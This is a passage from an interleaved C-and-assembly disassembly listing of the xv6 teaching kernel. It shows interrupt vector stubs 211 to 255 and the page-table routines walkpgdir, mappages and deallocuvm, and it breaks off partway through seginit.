vector211:
pushl $0
801067ab: 6a 00 push $0x0
pushl $211
801067ad: 68 d3 00 00 00 push $0xd3
jmp alltraps
801067b2: e9 c7 f2 ff ff jmp 80105a7e <alltraps>
801067b7 <vector212>:
.globl vector212
vector212:
pushl $0
801067b7: 6a 00 push $0x0
pushl $212
801067b9: 68 d4 00 00 00 push $0xd4
jmp alltraps
801067be: e9 bb f2 ff ff jmp 80105a7e <alltraps>
801067c3 <vector213>:
.globl vector213
vector213:
pushl $0
801067c3: 6a 00 push $0x0
pushl $213
801067c5: 68 d5 00 00 00 push $0xd5
jmp alltraps
801067ca: e9 af f2 ff ff jmp 80105a7e <alltraps>
801067cf <vector214>:
.globl vector214
vector214:
pushl $0
801067cf: 6a 00 push $0x0
pushl $214
801067d1: 68 d6 00 00 00 push $0xd6
jmp alltraps
801067d6: e9 a3 f2 ff ff jmp 80105a7e <alltraps>
801067db <vector215>:
.globl vector215
vector215:
pushl $0
801067db: 6a 00 push $0x0
pushl $215
801067dd: 68 d7 00 00 00 push $0xd7
jmp alltraps
801067e2: e9 97 f2 ff ff jmp 80105a7e <alltraps>
801067e7 <vector216>:
.globl vector216
vector216:
pushl $0
801067e7: 6a 00 push $0x0
pushl $216
801067e9: 68 d8 00 00 00 push $0xd8
jmp alltraps
801067ee: e9 8b f2 ff ff jmp 80105a7e <alltraps>
801067f3 <vector217>:
.globl vector217
vector217:
pushl $0
801067f3: 6a 00 push $0x0
pushl $217
801067f5: 68 d9 00 00 00 push $0xd9
jmp alltraps
801067fa: e9 7f f2 ff ff jmp 80105a7e <alltraps>
801067ff <vector218>:
.globl vector218
vector218:
pushl $0
801067ff: 6a 00 push $0x0
pushl $218
80106801: 68 da 00 00 00 push $0xda
jmp alltraps
80106806: e9 73 f2 ff ff jmp 80105a7e <alltraps>
8010680b <vector219>:
.globl vector219
vector219:
pushl $0
8010680b: 6a 00 push $0x0
pushl $219
8010680d: 68 db 00 00 00 push $0xdb
jmp alltraps
80106812: e9 67 f2 ff ff jmp 80105a7e <alltraps>
80106817 <vector220>:
.globl vector220
vector220:
pushl $0
80106817: 6a 00 push $0x0
pushl $220
80106819: 68 dc 00 00 00 push $0xdc
jmp alltraps
8010681e: e9 5b f2 ff ff jmp 80105a7e <alltraps>
80106823 <vector221>:
.globl vector221
vector221:
pushl $0
80106823: 6a 00 push $0x0
pushl $221
80106825: 68 dd 00 00 00 push $0xdd
jmp alltraps
8010682a: e9 4f f2 ff ff jmp 80105a7e <alltraps>
8010682f <vector222>:
.globl vector222
vector222:
pushl $0
8010682f: 6a 00 push $0x0
pushl $222
80106831: 68 de 00 00 00 push $0xde
jmp alltraps
80106836: e9 43 f2 ff ff jmp 80105a7e <alltraps>
8010683b <vector223>:
.globl vector223
vector223:
pushl $0
8010683b: 6a 00 push $0x0
pushl $223
8010683d: 68 df 00 00 00 push $0xdf
jmp alltraps
80106842: e9 37 f2 ff ff jmp 80105a7e <alltraps>
80106847 <vector224>:
.globl vector224
vector224:
pushl $0
80106847: 6a 00 push $0x0
pushl $224
80106849: 68 e0 00 00 00 push $0xe0
jmp alltraps
8010684e: e9 2b f2 ff ff jmp 80105a7e <alltraps>
80106853 <vector225>:
.globl vector225
vector225:
pushl $0
80106853: 6a 00 push $0x0
pushl $225
80106855: 68 e1 00 00 00 push $0xe1
jmp alltraps
8010685a: e9 1f f2 ff ff jmp 80105a7e <alltraps>
8010685f <vector226>:
.globl vector226
vector226:
pushl $0
8010685f: 6a 00 push $0x0
pushl $226
80106861: 68 e2 00 00 00 push $0xe2
jmp alltraps
80106866: e9 13 f2 ff ff jmp 80105a7e <alltraps>
8010686b <vector227>:
.globl vector227
vector227:
pushl $0
8010686b: 6a 00 push $0x0
pushl $227
8010686d: 68 e3 00 00 00 push $0xe3
jmp alltraps
80106872: e9 07 f2 ff ff jmp 80105a7e <alltraps>
80106877 <vector228>:
.globl vector228
vector228:
pushl $0
80106877: 6a 00 push $0x0
pushl $228
80106879: 68 e4 00 00 00 push $0xe4
jmp alltraps
8010687e: e9 fb f1 ff ff jmp 80105a7e <alltraps>
80106883 <vector229>:
.globl vector229
vector229:
pushl $0
80106883: 6a 00 push $0x0
pushl $229
80106885: 68 e5 00 00 00 push $0xe5
jmp alltraps
8010688a: e9 ef f1 ff ff jmp 80105a7e <alltraps>
8010688f <vector230>:
.globl vector230
vector230:
pushl $0
8010688f: 6a 00 push $0x0
pushl $230
80106891: 68 e6 00 00 00 push $0xe6
jmp alltraps
80106896: e9 e3 f1 ff ff jmp 80105a7e <alltraps>
8010689b <vector231>:
.globl vector231
vector231:
pushl $0
8010689b: 6a 00 push $0x0
pushl $231
8010689d: 68 e7 00 00 00 push $0xe7
jmp alltraps
801068a2: e9 d7 f1 ff ff jmp 80105a7e <alltraps>
801068a7 <vector232>:
.globl vector232
vector232:
pushl $0
801068a7: 6a 00 push $0x0
pushl $232
801068a9: 68 e8 00 00 00 push $0xe8
jmp alltraps
801068ae: e9 cb f1 ff ff jmp 80105a7e <alltraps>
801068b3 <vector233>:
.globl vector233
vector233:
pushl $0
801068b3: 6a 00 push $0x0
pushl $233
801068b5: 68 e9 00 00 00 push $0xe9
jmp alltraps
801068ba: e9 bf f1 ff ff jmp 80105a7e <alltraps>
801068bf <vector234>:
.globl vector234
vector234:
pushl $0
801068bf: 6a 00 push $0x0
pushl $234
801068c1: 68 ea 00 00 00 push $0xea
jmp alltraps
801068c6: e9 b3 f1 ff ff jmp 80105a7e <alltraps>
801068cb <vector235>:
.globl vector235
vector235:
pushl $0
801068cb: 6a 00 push $0x0
pushl $235
801068cd: 68 eb 00 00 00 push $0xeb
jmp alltraps
801068d2: e9 a7 f1 ff ff jmp 80105a7e <alltraps>
801068d7 <vector236>:
.globl vector236
vector236:
pushl $0
801068d7: 6a 00 push $0x0
pushl $236
801068d9: 68 ec 00 00 00 push $0xec
jmp alltraps
801068de: e9 9b f1 ff ff jmp 80105a7e <alltraps>
801068e3 <vector237>:
.globl vector237
vector237:
pushl $0
801068e3: 6a 00 push $0x0
pushl $237
801068e5: 68 ed 00 00 00 push $0xed
jmp alltraps
801068ea: e9 8f f1 ff ff jmp 80105a7e <alltraps>
801068ef <vector238>:
.globl vector238
vector238:
pushl $0
801068ef: 6a 00 push $0x0
pushl $238
801068f1: 68 ee 00 00 00 push $0xee
jmp alltraps
801068f6: e9 83 f1 ff ff jmp 80105a7e <alltraps>
801068fb <vector239>:
.globl vector239
vector239:
pushl $0
801068fb: 6a 00 push $0x0
pushl $239
801068fd: 68 ef 00 00 00 push $0xef
jmp alltraps
80106902: e9 77 f1 ff ff jmp 80105a7e <alltraps>
80106907 <vector240>:
.globl vector240
vector240:
pushl $0
80106907: 6a 00 push $0x0
pushl $240
80106909: 68 f0 00 00 00 push $0xf0
jmp alltraps
8010690e: e9 6b f1 ff ff jmp 80105a7e <alltraps>
80106913 <vector241>:
.globl vector241
vector241:
pushl $0
80106913: 6a 00 push $0x0
pushl $241
80106915: 68 f1 00 00 00 push $0xf1
jmp alltraps
8010691a: e9 5f f1 ff ff jmp 80105a7e <alltraps>
8010691f <vector242>:
.globl vector242
vector242:
pushl $0
8010691f: 6a 00 push $0x0
pushl $242
80106921: 68 f2 00 00 00 push $0xf2
jmp alltraps
80106926: e9 53 f1 ff ff jmp 80105a7e <alltraps>
8010692b <vector243>:
.globl vector243
vector243:
pushl $0
8010692b: 6a 00 push $0x0
pushl $243
8010692d: 68 f3 00 00 00 push $0xf3
jmp alltraps
80106932: e9 47 f1 ff ff jmp 80105a7e <alltraps>
80106937 <vector244>:
.globl vector244
vector244:
pushl $0
80106937: 6a 00 push $0x0
pushl $244
80106939: 68 f4 00 00 00 push $0xf4
jmp alltraps
8010693e: e9 3b f1 ff ff jmp 80105a7e <alltraps>
80106943 <vector245>:
.globl vector245
vector245:
pushl $0
80106943: 6a 00 push $0x0
pushl $245
80106945: 68 f5 00 00 00 push $0xf5
jmp alltraps
8010694a: e9 2f f1 ff ff jmp 80105a7e <alltraps>
8010694f <vector246>:
.globl vector246
vector246:
pushl $0
8010694f: 6a 00 push $0x0
pushl $246
80106951: 68 f6 00 00 00 push $0xf6
jmp alltraps
80106956: e9 23 f1 ff ff jmp 80105a7e <alltraps>
8010695b <vector247>:
.globl vector247
vector247:
pushl $0
8010695b: 6a 00 push $0x0
pushl $247
8010695d: 68 f7 00 00 00 push $0xf7
jmp alltraps
80106962: e9 17 f1 ff ff jmp 80105a7e <alltraps>
80106967 <vector248>:
.globl vector248
vector248:
pushl $0
80106967: 6a 00 push $0x0
pushl $248
80106969: 68 f8 00 00 00 push $0xf8
jmp alltraps
8010696e: e9 0b f1 ff ff jmp 80105a7e <alltraps>
80106973 <vector249>:
.globl vector249
vector249:
pushl $0
80106973: 6a 00 push $0x0
pushl $249
80106975: 68 f9 00 00 00 push $0xf9
jmp alltraps
8010697a: e9 ff f0 ff ff jmp 80105a7e <alltraps>
8010697f <vector250>:
.globl vector250
vector250:
pushl $0
8010697f: 6a 00 push $0x0
pushl $250
80106981: 68 fa 00 00 00 push $0xfa
jmp alltraps
80106986: e9 f3 f0 ff ff jmp 80105a7e <alltraps>
8010698b <vector251>:
.globl vector251
vector251:
pushl $0
8010698b: 6a 00 push $0x0
pushl $251
8010698d: 68 fb 00 00 00 push $0xfb
jmp alltraps
80106992: e9 e7 f0 ff ff jmp 80105a7e <alltraps>
80106997 <vector252>:
.globl vector252
vector252:
pushl $0
80106997: 6a 00 push $0x0
pushl $252
80106999: 68 fc 00 00 00 push $0xfc
jmp alltraps
8010699e: e9 db f0 ff ff jmp 80105a7e <alltraps>
801069a3 <vector253>:
.globl vector253
vector253:
pushl $0
801069a3: 6a 00 push $0x0
pushl $253
801069a5: 68 fd 00 00 00 push $0xfd
jmp alltraps
801069aa: e9 cf f0 ff ff jmp 80105a7e <alltraps>
801069af <vector254>:
.globl vector254
vector254:
pushl $0
801069af: 6a 00 push $0x0
pushl $254
801069b1: 68 fe 00 00 00 push $0xfe
jmp alltraps
801069b6: e9 c3 f0 ff ff jmp 80105a7e <alltraps>
801069bb <vector255>:
.globl vector255
vector255:
pushl $0
801069bb: 6a 00 push $0x0
pushl $255
801069bd: 68 ff 00 00 00 push $0xff
jmp alltraps
801069c2: e9 b7 f0 ff ff jmp 80105a7e <alltraps>
801069c7: 66 90 xchg %ax,%ax
801069c9: 66 90 xchg %ax,%ax
801069cb: 66 90 xchg %ax,%ax
801069cd: 66 90 xchg %ax,%ax
801069cf: 90 nop
801069d0 <walkpgdir>:
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
801069d0: 55 push %ebp
801069d1: 89 e5 mov %esp,%ebp
801069d3: 57 push %edi
801069d4: 56 push %esi
801069d5: 53 push %ebx
801069d6: 89 d3 mov %edx,%ebx
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
801069d8: c1 ea 16 shr $0x16,%edx
801069db: 8d 3c 90 lea (%eax,%edx,4),%edi
// Return the address of the PTE in page table pgdir
// that corresponds to virtual address va. If alloc!=0,
// create any required page table pages.
static pte_t *
walkpgdir(pde_t *pgdir, const void *va, int alloc)
{
801069de: 83 ec 0c sub $0xc,%esp
pde_t *pde;
pte_t *pgtab;
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
801069e1: 8b 07 mov (%edi),%eax
801069e3: a8 01 test $0x1,%al
801069e5: 74 29 je 80106a10 <walkpgdir+0x40>
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
801069e7: 25 00 f0 ff ff and $0xfffff000,%eax
801069ec: 8d b0 00 00 00 80 lea -0x80000000(%eax),%esi
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
}
801069f2: 8d 65 f4 lea -0xc(%ebp),%esp
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
801069f5: c1 eb 0a shr $0xa,%ebx
801069f8: 81 e3 fc 0f 00 00 and $0xffc,%ebx
801069fe: 8d 04 1e lea (%esi,%ebx,1),%eax
}
80106a01: 5b pop %ebx
80106a02: 5e pop %esi
80106a03: 5f pop %edi
80106a04: 5d pop %ebp
80106a05: c3 ret
80106a06: 8d 76 00 lea 0x0(%esi),%esi
80106a09: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
80106a10: 85 c9 test %ecx,%ecx
80106a12: 74 2c je 80106a40 <walkpgdir+0x70>
80106a14: e8 57 ba ff ff call 80102470 <kalloc>
80106a19: 85 c0 test %eax,%eax
80106a1b: 89 c6 mov %eax,%esi
80106a1d: 74 21 je 80106a40 <walkpgdir+0x70>
return 0;
// Make sure all those PTE_P bits are zero.
memset(pgtab, 0, PGSIZE);
80106a1f: 83 ec 04 sub $0x4,%esp
80106a22: 68 00 10 00 00 push $0x1000
80106a27: 6a 00 push $0x0
80106a29: 50 push %eax
80106a2a: e8 11 dd ff ff call 80104740 <memset>
// The permissions here are overly generous, but they can
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
80106a2f: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax
80106a35: 83 c4 10 add $0x10,%esp
80106a38: 83 c8 07 or $0x7,%eax
80106a3b: 89 07 mov %eax,(%edi)
80106a3d: eb b3 jmp 801069f2 <walkpgdir+0x22>
80106a3f: 90 nop
}
return &pgtab[PTX(va)];
}
80106a40: 8d 65 f4 lea -0xc(%ebp),%esp
pde = &pgdir[PDX(va)];
if(*pde & PTE_P){
pgtab = (pte_t*)P2V(PTE_ADDR(*pde));
} else {
if(!alloc || (pgtab = (pte_t*)kalloc()) == 0)
return 0;
80106a43: 31 c0 xor %eax,%eax
// be further restricted by the permissions in the page table
// entries, if necessary.
*pde = V2P(pgtab) | PTE_P | PTE_W | PTE_U;
}
return &pgtab[PTX(va)];
}
80106a45: 5b pop %ebx
80106a46: 5e pop %esi
80106a47: 5f pop %edi
80106a48: 5d pop %ebp
80106a49: c3 ret
80106a4a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
80106a50 <mappages>:
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80106a50: 55 push %ebp
80106a51: 89 e5 mov %esp,%ebp
80106a53: 57 push %edi
80106a54: 56 push %esi
80106a55: 53 push %ebx
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
80106a56: 89 d3 mov %edx,%ebx
80106a58: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
// Create PTEs for virtual addresses starting at va that refer to
// physical addresses starting at pa. va and size might not
// be page-aligned.
static int
mappages(pde_t *pgdir, void *va, uint size, uint pa, int perm)
{
80106a5e: 83 ec 1c sub $0x1c,%esp
80106a61: 89 45 e4 mov %eax,-0x1c(%ebp)
char *a, *last;
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
80106a64: 8d 44 0a ff lea -0x1(%edx,%ecx,1),%eax
80106a68: 8b 7d 08 mov 0x8(%ebp),%edi
80106a6b: 25 00 f0 ff ff and $0xfffff000,%eax
80106a70: 89 45 e0 mov %eax,-0x20(%ebp)
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
80106a73: 8b 45 0c mov 0xc(%ebp),%eax
80106a76: 29 df sub %ebx,%edi
80106a78: 83 c8 01 or $0x1,%eax
80106a7b: 89 45 dc mov %eax,-0x24(%ebp)
80106a7e: eb 15 jmp 80106a95 <mappages+0x45>
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
80106a80: f6 00 01 testb $0x1,(%eax)
80106a83: 75 45 jne 80106aca <mappages+0x7a>
panic("remap");
*pte = pa | perm | PTE_P;
80106a85: 0b 75 dc or -0x24(%ebp),%esi
if(a == last)
80106a88: 3b 5d e0 cmp -0x20(%ebp),%ebx
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
*pte = pa | perm | PTE_P;
80106a8b: 89 30 mov %esi,(%eax)
if(a == last)
80106a8d: 74 31 je 80106ac0 <mappages+0x70>
break;
a += PGSIZE;
80106a8f: 81 c3 00 10 00 00 add $0x1000,%ebx
pte_t *pte;
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
80106a95: 8b 45 e4 mov -0x1c(%ebp),%eax
80106a98: b9 01 00 00 00 mov $0x1,%ecx
80106a9d: 89 da mov %ebx,%edx
80106a9f: 8d 34 3b lea (%ebx,%edi,1),%esi
80106aa2: e8 29 ff ff ff call 801069d0 <walkpgdir>
80106aa7: 85 c0 test %eax,%eax
80106aa9: 75 d5 jne 80106a80 <mappages+0x30>
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
}
80106aab: 8d 65 f4 lea -0xc(%ebp),%esp
a = (char*)PGROUNDDOWN((uint)va);
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
80106aae: b8 ff ff ff ff mov $0xffffffff,%eax
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
}
80106ab3: 5b pop %ebx
80106ab4: 5e pop %esi
80106ab5: 5f pop %edi
80106ab6: 5d pop %ebp
80106ab7: c3 ret
80106ab8: 90 nop
80106ab9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80106ac0: 8d 65 f4 lea -0xc(%ebp),%esp
if(a == last)
break;
a += PGSIZE;
pa += PGSIZE;
}
return 0;
80106ac3: 31 c0 xor %eax,%eax
}
80106ac5: 5b pop %ebx
80106ac6: 5e pop %esi
80106ac7: 5f pop %edi
80106ac8: 5d pop %ebp
80106ac9: c3 ret
last = (char*)PGROUNDDOWN(((uint)va) + size - 1);
for(;;){
if((pte = walkpgdir(pgdir, a, 1)) == 0)
return -1;
if(*pte & PTE_P)
panic("remap");
80106aca: 83 ec 0c sub $0xc,%esp
80106acd: 68 38 7c 10 80 push $0x80107c38
80106ad2: e8 99 98 ff ff call 80100370 <panic>
80106ad7: 89 f6 mov %esi,%esi
80106ad9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80106ae0 <deallocuvm.part.0>:
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106ae0: 55 push %ebp
80106ae1: 89 e5 mov %esp,%ebp
80106ae3: 57 push %edi
80106ae4: 56 push %esi
80106ae5: 53 push %ebx
uint a, pa;
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
80106ae6: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106aec: 89 c7 mov %eax,%edi
uint a, pa;
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
80106aee: 81 e3 00 f0 ff ff and $0xfffff000,%ebx
// Deallocate user pages to bring the process size from oldsz to
// newsz. oldsz and newsz need not be page-aligned, nor does newsz
// need to be less than oldsz. oldsz can be larger than the actual
// process size. Returns the new process size.
int
deallocuvm(pde_t *pgdir, uint oldsz, uint newsz)
80106af4: 83 ec 1c sub $0x1c,%esp
80106af7: 89 4d e0 mov %ecx,-0x20(%ebp)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
80106afa: 39 d3 cmp %edx,%ebx
80106afc: 73 66 jae 80106b64 <deallocuvm.part.0+0x84>
80106afe: 89 d6 mov %edx,%esi
80106b00: eb 3d jmp 80106b3f <deallocuvm.part.0+0x5f>
80106b02: 8d b6 00 00 00 00 lea 0x0(%esi),%esi
pte = walkpgdir(pgdir, (char*)a, 0);
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
80106b08: 8b 10 mov (%eax),%edx
80106b0a: f6 c2 01 test $0x1,%dl
80106b0d: 74 26 je 80106b35 <deallocuvm.part.0+0x55>
pa = PTE_ADDR(*pte);
if(pa == 0)
80106b0f: 81 e2 00 f0 ff ff and $0xfffff000,%edx
80106b15: 74 58 je 80106b6f <deallocuvm.part.0+0x8f>
panic("kfree");
char *v = P2V(pa);
kfree(v);
80106b17: 83 ec 0c sub $0xc,%esp
80106b1a: 81 c2 00 00 00 80 add $0x80000000,%edx
80106b20: 89 45 e4 mov %eax,-0x1c(%ebp)
80106b23: 52 push %edx
80106b24: e8 97 b7 ff ff call 801022c0 <kfree>
*pte = 0;
80106b29: 8b 45 e4 mov -0x1c(%ebp),%eax
80106b2c: 83 c4 10 add $0x10,%esp
80106b2f: c7 00 00 00 00 00 movl $0x0,(%eax)
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
80106b35: 81 c3 00 10 00 00 add $0x1000,%ebx
80106b3b: 39 f3 cmp %esi,%ebx
80106b3d: 73 25 jae 80106b64 <deallocuvm.part.0+0x84>
pte = walkpgdir(pgdir, (char*)a, 0);
80106b3f: 31 c9 xor %ecx,%ecx
80106b41: 89 da mov %ebx,%edx
80106b43: 89 f8 mov %edi,%eax
80106b45: e8 86 fe ff ff call 801069d0 <walkpgdir>
if(!pte)
80106b4a: 85 c0 test %eax,%eax
80106b4c: 75 ba jne 80106b08 <deallocuvm.part.0+0x28>
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
80106b4e: 81 e3 00 00 c0 ff and $0xffc00000,%ebx
80106b54: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx
if(newsz >= oldsz)
return oldsz;
a = PGROUNDUP(newsz);
for(; a < oldsz; a += PGSIZE){
80106b5a: 81 c3 00 10 00 00 add $0x1000,%ebx
80106b60: 39 f3 cmp %esi,%ebx
80106b62: 72 db jb 80106b3f <deallocuvm.part.0+0x5f>
kfree(v);
*pte = 0;
}
}
return newsz;
}
80106b64: 8b 45 e0 mov -0x20(%ebp),%eax
80106b67: 8d 65 f4 lea -0xc(%ebp),%esp
80106b6a: 5b pop %ebx
80106b6b: 5e pop %esi
80106b6c: 5f pop %edi
80106b6d: 5d pop %ebp
80106b6e: c3 ret
if(!pte)
a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE;
else if((*pte & PTE_P) != 0){
pa = PTE_ADDR(*pte);
if(pa == 0)
panic("kfree");
80106b6f: 83 ec 0c sub $0xc,%esp
80106b72: 68 92 75 10 80 push $0x80107592
80106b77: e8 f4 97 ff ff call 80100370 <panic>
80106b7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80106b80 <seginit>:
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
80106b80: 55 push %ebp
80106b81: 89 e5 mov %esp,%ebp
80106b83: 53 push %ebx
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106b84: 31 db xor %ebx,%ebx
// Set up CPU's kernel segment descriptors.
// Run once on entry on each CPU.
void
seginit(void)
{
80106b86: 83 ec 14 sub $0x14,%esp
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
80106b89: e8 42 bb ff ff call 801026d0 <cpunum>
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106b8e: 69 c0 bc 00 00 00 imul $0xbc,%eax,%eax
80106b94: b9 ff ff ff ff mov $0xffffffff,%ecx
80106b99: 8d 90 a0 27 11 80 lea -0x7feed860(%eax),%edx
80106b9f: c6 80 1d 28 11 80 9a movb $0x9a,-0x7feed7e3(%eax)
80106ba6: c6 80 1e 28 11 80 cf movb $0xcf,-0x7feed7e2(%eax)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106bad: c6 80 25 28 11 80 92 movb $0x92,-0x7feed7db(%eax)
80106bb4: c6 80 26 28 11 80 cf movb $0xcf,-0x7feed7da(%eax)
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106bbb: 66 89 4a 78 mov %cx,0x78(%edx)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106bbf: b9 ff ff ff ff mov $0xffffffff,%ecx
// Map "logical" addresses to virtual addresses using identity map.
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
80106bc4: 66 89 5a 7a mov %bx,0x7a(%edx)
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106bc8: 66 89 8a 80 00 00 00 mov %cx,0x80(%edx)
80106bcf: 31 db xor %ebx,%ebx
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106bd1: b9 ff ff ff ff mov $0xffffffff,%ecx
// Cannot share a CODE descriptor for both kernel and user
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
80106bd6: 66 89 9a 82 00 00 00 mov %bx,0x82(%edx)
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106bdd: 66 89 8a 90 00 00 00 mov %cx,0x90(%edx)
80106be4: 31 db xor %ebx,%ebx
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106be6: b9 ff ff ff ff mov $0xffffffff,%ecx
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106beb: 66 89 9a 92 00 00 00 mov %bx,0x92(%edx)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106bf2: 31 db xor %ebx,%ebx
80106bf4: 66 89 8a 98 00 00 00 mov %cx,0x98(%edx)
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80106bfb: 8d 88 54 28 11 80 lea -0x7feed7ac(%eax),%ecx
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
80106c01: 66 89 9a 9a 00 00 00 mov %bx,0x9a(%edx)
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80106c08: 31 db xor %ebx,%ebx
// because it would have to have DPL_USR, but the CPU forbids
// an interrupt from CPL=0 to DPL=3.
c = &cpus[cpunum()];
c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0);
c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0);
c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER);
80106c0a: c6 80 35 28 11 80 fa movb $0xfa,-0x7feed7cb(%eax)
80106c11: c6 80 36 28 11 80 cf movb $0xcf,-0x7feed7ca(%eax)
c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER);
// Map cpu and proc -- these are private per cpu.
c->gdt[SEG_KCPU] = SEG(STA_W, &c->cpu, 8, 0);
80106c18: 66 89 9a 88 00 00 00 mov %bx,0x88(%edx)
